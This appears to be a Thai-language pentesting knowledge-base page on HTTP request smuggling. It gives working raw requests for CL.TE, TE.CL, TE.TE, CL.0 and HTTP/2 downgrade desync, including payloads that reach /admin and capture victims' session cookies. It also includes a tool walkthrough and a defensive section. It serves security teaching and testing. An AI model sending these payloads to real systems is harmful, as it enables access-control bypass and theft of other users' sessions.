คลัง
web

HTTP Request Smuggling

HTTP Request Smuggling (HTTP desync) ใช้ความไม่ตรงกันในการตีความขอบเขตของ request ระหว่าง front-end (proxy/CDN/LB) กับ back-end server ทำให้ 'แอบ' request เข้าไปปนกับของผู้อื่น นำไปสู่ bypass การควบคุมด้านหน้า, ขโมย request ของเหยื่อ, cache poisoning และ mass XSS บทนี้ครอบคลุม CL.TE, TE.CL, TE.TE, CL.0 และ HTTP/2 downgrade desync

Advanced#request-smuggling#cl-te#te-cl#te-te#cl-0#desync#http2#proxy

1. หลักการ desync

HTTP/1.1 ระบุความยาว body ได้ 2 ทาง: Content-Length (CL) บอกจำนวน byte ตรงๆ และ Transfer-Encoding: chunked (TE) ที่จบด้วย chunk ขนาด 0 ถ้า front-end กับ back-end เลือกใช้คนละตัวเมื่อ request มีทั้งคู่ ขอบเขตของ request จะไม่ตรงกัน — byte ส่วนเกินที่ front-end คิดว่าจบแล้ว back-end กลับมองเป็นต้น request ถัดไป เมื่อ back-end เอา request ถัดไปของเหยื่อมาต่อท้าย byte ที่เรา smuggle ไว้ เราจึงควบคุมส่วนหน้าของ request คนอื่นได้

front-end/back-end ตีความขอบเขต request ไม่ตรงกัน
attacker CL+TE request front-end ใช้ Content-Length back-end ใช้ Transfer-Encoding byte ที่ front-end คิดว่าจบแล้ว แต่ back-end เก็บไว้เป็น prefix ของ request ถัดไป request ของเหยื่อคนถัดไป = smuggled_prefix + victim_request → เราคุมส่วนหน้าได้
ชนิดfront-end ใช้back-end ใช้แนวทาง
CL.TEContent-LengthTransfer-Encodingfront-end ตัดตาม CL, back-end อ่าน chunked
TE.CLTransfer-EncodingContent-Lengthfront-end อ่าน chunked, back-end ตัดตาม CL
TE.TEทั้งคู่รองรับ TE แต่ obfuscate ให้ตัวหนึ่งพลาดทำ header TE ให้ตัวหนึ่งไม่รู้จัก → กลับไปใช้ CL
CL.0ปกติมองข้าม CL (GET/static)back-end ไม่อ่าน body → body ทั้งก้อนกลายเป็น request ใหม่
H2.CL / H2.TEHTTP/2 → downgrade เป็น HTTP/1.1CL หรือ TEfront-end แปลง h2→h1 โดยเชื่อ header ที่ควบคุมได้

2. การตรวจจับ (timing-based)

วิธีปลอดภัยสุดคือ timing-based detection: ส่ง payload ที่ถ้าเกิด desync จะทำให้ back-end รอ body ที่ไม่มีวันมาครบ → response ช้าผิดปกติ (มัก timeout ~5-10 วินาที) ต่างจากการยิง follow-up request ที่อาจกระทบผู้ใช้จริง เครื่องมือ smuggler.py และ Burp extension HTTP Request Smuggler ทำ detection แบบนี้อัตโนมัติ

CL.TE detection probe (timing) — back-end จะค้างรอ chunk
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# front-end (CL=4) ส่งแค่ 4 byte แรก: "1\r\nA"
# back-end (TE) อ่าน chunk "A" แล้วรอ chunk ถัดไป (X ยังไม่จบด้วย 0)
# → back-end ค้าง = response ช้า = ยืนยัน CL.TE
ถ้า probe นี้ทำให้ response ช้าอย่างชัดเจน มีสัญญาณ CL.TE; สลับ header เพื่อทดสอบ TE.CL
TE.CL detection probe (timing)
POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked

0

X

# front-end (TE) เห็น chunk 0 → จบ request ที่บรรทัดว่าง
# back-end (CL=6) รอครบ 6 byte แต่ได้ไม่ครบ → ค้างรอ = ยืนยัน TE.CL
ใช้ Burp 'HTTP Request Smuggler' (extension ของ Kettle) รัน probe ทั้งชุดให้อัตโนมัติ ปลอดภัยกว่าทำมือ
Request smuggling กระทบ traffic ของผู้ใช้คนอื่นบนเซิร์ฟเวอร์จริงได้ (โดยเฉพาะ exploit ที่ capture request) — ทดสอบเฉพาะ scope ที่ได้รับอนุญาตชัดเจน ใช้ timing-detection ก่อนเสมอ และหลีกเลี่ยง payload ที่ทำ traffic คนอื่นเสียหายบน production

3. Exploitation — CL.TE ทีละขั้น

ใน CL.TE: front-end นับตาม Content-Length จึงส่ง body ทั้งก้อนไป back-end แต่ back-end อ่านแบบ chunked เห็น chunk 0 ว่าจบ request แล้วมองส่วนที่เหลือเป็น request ใหม่ (smuggled) เราจึงยัด request ปลอมต่อท้ายได้

CL.TE — smuggle request เพื่อ bypass front-end control
POST / HTTP/1.1
Host: target
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target
X-Ignore: X

# back-end เห็น chunk 0 → จบ request แรก
# แล้วเริ่ม parse "GET /admin ..." เป็น request ใหม่
# แม้ front-end จะบล็อก /admin จากภายนอก แต่ smuggled request
# มาจาก 'ภายใน' หลัง front-end → bypass access control
Content-Length ต้องนับให้พอดีคลุมทั้ง chunk 0 และ smuggled request; ใช้ Burp คำนวณให้ หรือ extension จัดการอัตโนมัติ

4. Exploitation — TE.CL และ capture request

ใน TE.CL: front-end อ่าน chunked (ส่งครบตาม chunk) แต่ back-end นับตาม Content-Length ที่เล็กกว่า จึงตัด request สั้น แล้วเก็บส่วนที่เหลือเป็น prefix ของ request เหยื่อ เทคนิคยอดฮิตคือทำให้ request ของเหยื่อถูก เก็บลงตัวแปร/สะท้อนกลับ เพื่อขโมย cookie/token

TE.CL — capture request ของเหยื่อ (ขโมย session)
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

7c
POST /comment HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

comment=
0

# ตัว 7c = ขนาด chunk (hex). back-end (CL=4) หยุดที่ "7c\r\n"
# ส่วนที่เหลือ (POST /comment ... comment=) กลายเป็น prefix
# request ถัดไปของเหยื่อจะถูกต่อท้าย comment= → header+cookie ของเหยื่อ
# ถูกโพสต์เป็น comment ให้เราอ่าน
ตั้ง Content-Length ของ /comment ให้ใหญ่พอกลืน request เหยื่อทั้งก้อน; คอยดูหน้า comment ว่ามี cookie ของเหยื่อโผล่
การ capture request ดึงข้อมูลผู้ใช้จริง — บน bug bounty ให้ demonstrate ด้วยข้อมูลตัวเองหรือ dummy account เท่านั้น อย่ารัน loop ที่กวาด traffic ผู้ใช้จริง

5. TE.TE, CL.0 และ HTTP/2 downgrade

TE.TE (obfuscation): ทั้งสองฝั่งรองรับ TE แต่ทำ header ให้ตัวหนึ่งไม่รู้จัก จนกลับไปใช้ CL การ obfuscate ยอดนิยม:

TE.TE — obfuscated Transfer-Encoding headers
Transfer-Encoding: xchunked
Transfer-Encoding : chunked          (มี space ก่อน colon)
Transfer-Encoding:\tchunked          (ใช้ tab)
Transfer-Encoding: chunked\r\nX: X
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
 : chunked                           (fold header ข้ามบรรทัด)
หนึ่งฝั่ง parse header เพี้ยนไม่รู้จัก TE → ใช้ CL แทน; อีกฝั่งยังอ่าน TE → desync

CL.0: เกิดเมื่อ back-end ละเลย body ของ request บาง endpoint (เช่น static file, redirect, หรือ method ที่ไม่ควรมี body) — body ทั้งก้อนจึงกลายเป็น request ใหม่ ทดสอบด้วยการส่ง POST ไป endpoint static แล้วยัด smuggled request ใน body

CL.0 — back-end มองข้าม Content-Length
POST /static/style.css HTTP/1.1
Host: target
Content-Length: 34

GET /admin/delete?user=carlos HTTP/1.1
X: X

# ถ้า back-end เสิร์ฟ /static แบบ ignore body (CL.0)
# → "GET /admin/delete..." กลายเป็น request ถัดไปบน connection

HTTP/2 downgrade desync: ระบบจำนวนมากรับ HTTP/2 ที่ front-end แล้ว downgrade เป็น HTTP/1.1 ไป back-end HTTP/2 มี length ในตัว (ไม่ต้องพึ่ง CL/TE) แต่ถ้า front-end เอา header content-length / transfer-encoding ที่ผู้โจมตีใส่ไปสร้าง HTTP/1.1 ต่อ จะเกิด H2.CL / H2.TE desync — ทดสอบด้วย Burp ที่ตั้ง 'Allow HTTP/2 ALPN override' และปิด normalize

H2.CL — inject content-length ใน HTTP/2 request
:method   POST
:path     /
:authority target
content-length  0

GET /admin HTTP/1.1
Host: target
Foo: bar

# HTTP/2 frame มี length จริง แต่ front-end ใส่ content-length: 0
# ตอน downgrade → back-end HTTP/1.1 เชื่อ CL=0 → body ("GET /admin")
# กลายเป็น request ใหม่
ต้องใช้ Burp Repeater โหมด HTTP/2 และปิด auto-normalize header เพื่อส่ง malformed h2 ได้; h2csmuggler ใช้กับ h2c upgrade smuggling

6. Decision flow — ไล่หา desync

เจอ target หลัง proxy/CDN — ไล่ตามนี้
target มี front-end/back-end แยกกันไหม?
ดู header Via, X-Cache, Server, CDN
รัน smuggler.py / Burp HTTP Request Smuggler (timing probe)
probe ไหน timeout?
CL.TE probe ช้า→ exploit CL.TE (bypass /admin, capture)
TE.CL probe ช้า→ exploit TE.CL (capture request)
ไม่ติด h1→ ลอง HTTP/2 downgrade (H2.CL/H2.TE)
ยืนยันด้วย smuggled request จริง (bypass access control)
GET /admin ผ่านทางใน
ยกระดับ impact
response ถูก cache→ web cache poisoning (mass)
สะท้อน input→ mass reflected XSS
capture ได้→ ขโมย session/token

7. เครื่องมือ

ติดตั้งและใช้ smuggler.pyLinux
# smuggler — สแกน CL.TE / TE.CL / TE.TE อัตโนมัติ
git clone https://github.com/defparam/smuggler
cd smuggler
python3 smuggler.py -u https://target.com/

# ระบุ method / เก็บ payload ที่ติด
python3 smuggler.py -u https://target.com/ -m POST -q

# h2csmuggler — HTTP/2 cleartext (h2c) upgrade smuggling
git clone https://github.com/BishopFox/h2csmuggler
python3 h2csmuggler.py -x https://target.com/ http://backend/admin
Burp extension 'HTTP Request Smuggler' (BApp Store) ทำ detection+exploit ครบและปลอดภัยที่สุด แนะนำเป็นด่านแรก
  • Burp HTTP Request Smuggler — detect (timing) + สร้าง exploit + 'Smuggle probe' อัตโนมัติ
  • smuggler.py — สแกน CLI หลาย mutation ของ CL/TE
  • Burp Repeater (HTTP/2 mode) — ส่ง malformed h2 ทดสอบ downgrade desync
  • Turbo Intruder — ยิง smuggled + follow-up ให้ตรง connection/timing
  • h2csmuggler — h2c upgrade smuggling ผ่าน front-end ที่เผลอ upgrade

8. ข้อผิดพลาด & troubleshooting

  • Content-Length นับผิด: ต้องนับรวม CRLF ให้เป๊ะ — ให้ Burp/extension คำนวณ
  • Burp auto-normalize header: ปิด 'Update Content-Length' และ normalization เวลาทำมือ ไม่งั้น payload ถูกแก้
  • ทดสอบผ่าน HTTP/2 แต่ไม่รู้ตัว: Burp อาจใช้ h2 อัตโนมัติ ทำให้ h1 payload ไม่ทำงาน — ตั้ง protocol ให้ตรง
  • connection reuse: desync ต้องให้ smuggled + victim อยู่ TCP connection เดียวกัน — front-end บางตัวปิด keep-alive
  • เจอ false positive จาก network jitter: ยืนยัน timing หลายรอบ ไม่ใช่ครั้งเดียว
  • WAF ปรับ header: บาง WAF strip TE ซ้ำ ลอง obfuscation หลายแบบ

9. การป้องกัน

  • ใช้ HTTP/2 end-to-end (front-end ↔ back-end) โดยไม่ downgrade — length ชัดเจนในตัว
  • ถ้าจำเป็นต้อง downgrade: normalize/re-generate header, ห้ามส่งต่อ CL/TE ที่ client ควบคุม
  • ปฏิเสธ request ที่มี ทั้ง Content-Length และ Transfer-Encoding (RFC บอกให้ปฏิเสธหรือใช้ TE)
  • front-end และ back-end ควรใช้ HTTP parser ตัวเดียวกัน/ตั้งค่าตรงกัน
  • ปิด connection reuse ระหว่าง front-end↔back-end ถ้าเป็นไปได้ (ลด impact)
  • ตั้ง WAF/parser ให้ reject header ที่ obfuscate (space ก่อน colon, TE ที่ไม่ใช่ chunked ตัวเดียว)

10. Quick Reference

  • เกิดเมื่อ front-end/back-end ตีความ CL vs TE ไม่ตรงกัน
  • ชนิด: CL.TE, TE.CL, TE.TE (obfuscation), CL.0, H2.CL/H2.TE
  • detect: timing-based (probe ทำให้ back-end ค้าง = ช้า)
  • CL.TE: chunk 0 + smuggled GET /admin → bypass control
  • TE.CL: chunk ขนาด hex + CL เล็ก → capture request เหยื่อ
  • HTTP/2 downgrade: inject content-length/transfer-encoding
  • เครื่องมือ: Burp HTTP Request Smuggler, smuggler.py, h2csmuggler
  • impact: bypass control, capture session, cache poisoning, mass XSS
  • ป้องกัน: HTTP/2 e2e, reject CL+TE, normalize header

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอเว็บที่อยู่หลัง proxy/CDN (เช่นเห็น header Via, X-Cache, Server ไม่ตรงกับ backend) มีแค่ Kali เปล่าๆ ไล่ตามนี้ทีละขั้น

  1. 1curl -sI https://target/ ดู header ที่บอกว่ามี front-end แยกจาก back-end (Via, X-Cache, Server สองชั้น)
  2. 2โคลน smuggler.py: git clone https://github.com/defparam/smuggler แล้ว python3 smuggler.py -u https://target/
  3. 3ถ้ามี Burp ติดตั้ง extension ฟรี 'HTTP Request Smuggler' จาก BApp Store แล้วรัน 'Smuggle probe' บน request ที่สนใจ
  4. 4สังเกตว่า probe ไหน response ช้าผิดปกติ (timeout ~5-10 วินาที) — นั่นคือสัญญาณ CL.TE หรือ TE.CL
  5. 5ถ้า smuggler.py/Burp บอกว่าเจอ CL.TE ให้ลองสร้าง smuggled request ด้วยมือใน Burp Repeater ตามตัวอย่างในหัวข้อ Exploitation
  6. 6ปิด 'Update Content-Length' และ auto-normalize header ใน Burp Repeater ก่อนส่ง payload มือ (Repeater → ปุ่ม config)
  7. 7ยิง smuggled request ที่มี GET /admin ต่อท้าย ดูว่า response ถัดไปบน connection เดียวกันได้เนื้อหาของ /admin ไหม
  8. 8ถ้าไม่ติด h1 ให้เปลี่ยน Repeater เป็นโหมด HTTP/2 แล้วลอง inject content-length ปลอม (H2.CL/H2.TE)
  9. 9ถ้ายืนยันได้ ลองดูว่า response ที่ desync ถูก cache ไหม (X-Cache header) เพื่อชี้ไปทาง cache poisoning
Decision flow — จับมือทำ Request Smuggling
curl -sI ดู header ว่ามี front-end/back-end แยกกันไหม
Via, X-Cache, Server
รัน smuggler.py หรือ Burp HTTP Request Smuggler (timing probe)
probe ไหน timeout/ช้าผิดปกติ?
✅ CL.TE probe ช้า→ สร้าง smuggled request แบบ CL.TE ด้วยมือ
✅ TE.CL probe ช้า→ สร้าง smuggled request แบบ TE.CL (capture)
❌ ไม่ติดทั้งคู่บน HTTP/1.1→ ลอง HTTP/2 downgrade (H2.CL/H2.TE)
ปิด auto-normalize ใน Burp Repeater แล้วยิง smuggled request จริง
GET /admin ผ่านทางใน
smuggled request ทำงานไหม (bypass control / capture ได้)?
✅ ได้ผล→ ยกระดับ impact ต่อ
❌ ไม่ได้ผลเลยหลังลองทุก header/Content-Length→ ตันสนิท
ยกระดับ impact
✅ response ถูก cache→ chain เป็น mass cache poisoning
✅ สะท้อน input→ mass reflected XSS
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
detect CL.TE/TE.CL อัตโนมัติ-smuggler.py (git clone defparam/smuggler)-
detect + exploit ใน BurpBurp Suite CommunityHTTP Request Smuggler (BApp Store)-
h2c upgrade smuggling-h2csmuggler (git clone BishopFox/h2csmuggler)-
ส่ง raw request คุม byte เป๊ะnc, openssl s_client--
ตรวจ header/CDN เบื้องต้นcurl -sI--
คำนวณ chunk size hex/encode payload--CyberChef
🚑 ถ้าตันสนิท ลองท่าถัดไป: Cache Poisoning — ถ้า desync ไม่ติดแต่เจอ header ที่ unkeyed ให้ตรงไปที่ cache poisoning แทน; SSRF — ถ้า front-end forward header อย่าง X-Forwarded-Host ไปยัง backend โดยตรง; XSS — ถ้า target ไม่มี front-end/back-end แยกกันชัดเจน (ทดสอบแล้วไม่มีสัญญาณ desync เลย) ให้เปลี่ยนไปโฟกัสช่องโหว่ input ปกติแทนเวลาเสียเวลากับ desync

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้